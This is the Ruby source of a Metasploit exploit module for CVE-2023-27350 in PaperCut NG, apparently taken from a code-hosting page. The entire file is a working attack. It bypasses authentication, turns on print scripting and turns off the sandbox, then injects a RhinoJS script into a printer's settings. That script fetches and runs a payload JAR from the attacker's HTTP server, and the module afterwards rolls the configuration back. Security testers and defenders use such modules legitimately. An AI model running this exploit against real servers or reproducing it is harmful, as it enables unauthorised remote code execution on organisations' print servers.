255 lines
8.4 KiB
Ruby
255 lines
8.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'cgi'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'PaperCut PaperCutNG Authentication Bypass',
|
|
'Description' => %q{
|
|
This module leverages an authentication bypass in PaperCut NG. If necessary it
|
|
updates Papercut configuration options, specifically the 'print-and-device.script.enabled'
|
|
and 'print.script.sandboxed' options to allow for arbitrary code execution running in
|
|
the builtin RhinoJS engine.
|
|
|
|
This module logs at most 2 events in the application log of papercut. Each event is tied
|
|
to modifcation of server settings.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['catatonicprime'],
|
|
'References' => [
|
|
['CVE', '2023-27350'],
|
|
['ZDI', '23-233'],
|
|
['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'],
|
|
['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'],
|
|
['URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'],
|
|
['URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software']
|
|
],
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
'Targets' => [ [ 'Automatic Target', {}] ],
|
|
'Platform' => [ 'java' ],
|
|
'Arch' => ARCH_JAVA,
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2023-03-13',
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'RPORT' => '9191',
|
|
'SSL' => 'false'
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']),
|
|
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
|
|
], self.class
|
|
)
|
|
@csrf_token = nil
|
|
@config_cleanup = []
|
|
end
|
|
|
|
def bypass_auth
|
|
# Attempt to generate a session & recover the anti-csrf token for future requests.
|
|
res = send_request_cgi(
|
|
{
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'keep_cookies' => true,
|
|
'vars_get' => {
|
|
'service' => 'page/SetupCompleted'
|
|
}
|
|
}
|
|
)
|
|
return nil unless res && res.code == 200
|
|
|
|
vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}")
|
|
|
|
# Parse the application version from the response for future decisions.
|
|
product_details = res.get_html_document.xpath('//div[contains(@class, "product-details")]//span').children[1]
|
|
if product_details.nil?
|
|
product_details = res.get_html_document.xpath('//span[contains(@class, "version")]')
|
|
end
|
|
version_match = product_details.text.match('(?<major>[0-9]+)\.(?<minor>[0-9]+)')
|
|
@version_major = Integer(version_match[:major])
|
|
match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?<csrf>[^']*)'/)
|
|
@csrf_token = match ? match[:csrf] : ''
|
|
end
|
|
|
|
def get_config_option(name)
|
|
# 1) do a quickfind (setting the tapestry state)
|
|
res = send_request_cgi(
|
|
{
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'keep_cookies' => true,
|
|
'headers' => {
|
|
'Origin' => full_uri
|
|
},
|
|
'vars_post' => {
|
|
'service' => 'direct/1/ConfigEditor/quickFindForm',
|
|
'sp' => 'S0',
|
|
'Form0' => '$TextField,doQuickFind,clear',
|
|
'$TextField' => name,
|
|
'doQuickFind' => 'Go'
|
|
}
|
|
}
|
|
)
|
|
# 2) parse and return the result
|
|
return nil unless res && res.code == 200 && (html = res.get_html_document)
|
|
return nil unless (td = html.xpath("//td[@class='propertyNameColumnValue']"))
|
|
return nil unless td.count == 1 && td.text == name
|
|
|
|
value_input = html.xpath("//input[@name='$TextField$0']")
|
|
value_input[0]['value']
|
|
end
|
|
|
|
def set_config_option(name, value, rollback)
|
|
# set name:value pair(s)
|
|
current_value = get_config_option(name)
|
|
if current_value == value
|
|
vprint_good("Server option '#{name}' already set to '#{value}')")
|
|
return
|
|
end
|
|
|
|
vprint_status("Setting server option '#{name}' to '#{value}') was '#{current_value}'")
|
|
res = send_request_cgi(
|
|
{
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'keep_cookies' => true,
|
|
'headers' => {
|
|
'Origin' => full_uri
|
|
},
|
|
'vars_post' => {
|
|
'service' => 'direct/1/ConfigEditor/$Form',
|
|
'sp' => 'S1',
|
|
'Form1' => '$TextField$0,$Submit,$Submit$0',
|
|
'$TextField$0' => value,
|
|
'$Submit' => 'Update'
|
|
}
|
|
}
|
|
)
|
|
fail_with Failure::NotVulnerable, "Could not update server config option '#{name}' to value of '#{value}'" unless res && res.code == 200
|
|
# skip storing the cleanup change if this is rolling back a previous change
|
|
@config_cleanup.push([name, current_value]) unless rollback
|
|
end
|
|
|
|
def cleanup
|
|
super
|
|
if @config_cleanup.nil?
|
|
return
|
|
end
|
|
|
|
until @config_cleanup.empty?
|
|
cfg = @config_cleanup.pop
|
|
vprint_status("Rolling back '#{cfg[0]}' to '#{cfg[1]}'")
|
|
set_config_option(cfg[0], cfg[1], true)
|
|
end
|
|
end
|
|
|
|
def primer
|
|
payload_uri = get_uri
|
|
script = <<~SCRIPT
|
|
var urls = [new java.net.URL("#{payload_uri}.jar")];
|
|
var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]);
|
|
s;
|
|
SCRIPT
|
|
|
|
# The number of parameters passed changed in version 17.
|
|
form0 = 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0'
|
|
if @version_major > 16
|
|
form0 += ',$Submit$1'
|
|
end
|
|
# 6) Trigger the code execution the printer_id
|
|
res = send_request_cgi(
|
|
{
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'keep_cookies' => true,
|
|
'headers' => {
|
|
'Origin' => full_uri
|
|
},
|
|
'vars_post' => {
|
|
'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form',
|
|
'sp' => 'S0',
|
|
'Form0' => form0,
|
|
'enablePrintScript' => 'on',
|
|
'$Submit$1' => 'Apply',
|
|
'printerId' => 'l1001',
|
|
'scriptBody' => script
|
|
}
|
|
}
|
|
)
|
|
fail_with Failure::NotVulnerable, 'Failed to prime payload.' unless res && res.code == 200
|
|
end
|
|
|
|
def check
|
|
# For the check command
|
|
bypass_success = bypass_auth
|
|
if bypass_success.nil?
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
def exploit
|
|
# Main function
|
|
# 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests.
|
|
bypass_auth unless @csrf_token
|
|
if @csrf_token.nil?
|
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
|
end
|
|
|
|
# Sandboxing wasn't introduced until version 19
|
|
if @version_major >= 19
|
|
# 2) Enable scripts, if needed
|
|
set_config_option('print-and-device.script.enabled', 'Y', false)
|
|
|
|
# 3) Disable sandboxing, if needed
|
|
set_config_option('print.script.sandboxed', 'N', false)
|
|
end
|
|
# 5) Select the printer, this loads it into the tapestry session to be modified
|
|
res = send_request_cgi(
|
|
{
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'keep_cookies' => true,
|
|
'headers' => {
|
|
'Origin' => full_uri
|
|
},
|
|
'vars_get' => {
|
|
'service' => 'direct/1/PrinterList/selectPrinter',
|
|
'sp' => 'l1001'
|
|
}
|
|
}
|
|
)
|
|
fail_with Failure::NotVulnerable, 'Unable to select [Template Printer]' unless res && res.code == 200
|
|
|
|
Timeout.timeout(datastore['HTTPDELAY']) { super }
|
|
rescue Timeout::Error
|
|
# When the server stop due to our timeout, this is raised
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
vprint_status("Sending payload for requested uri: #{request.uri}")
|
|
send_response(cli, payload.raw)
|
|
end
|
|
|
|
end
|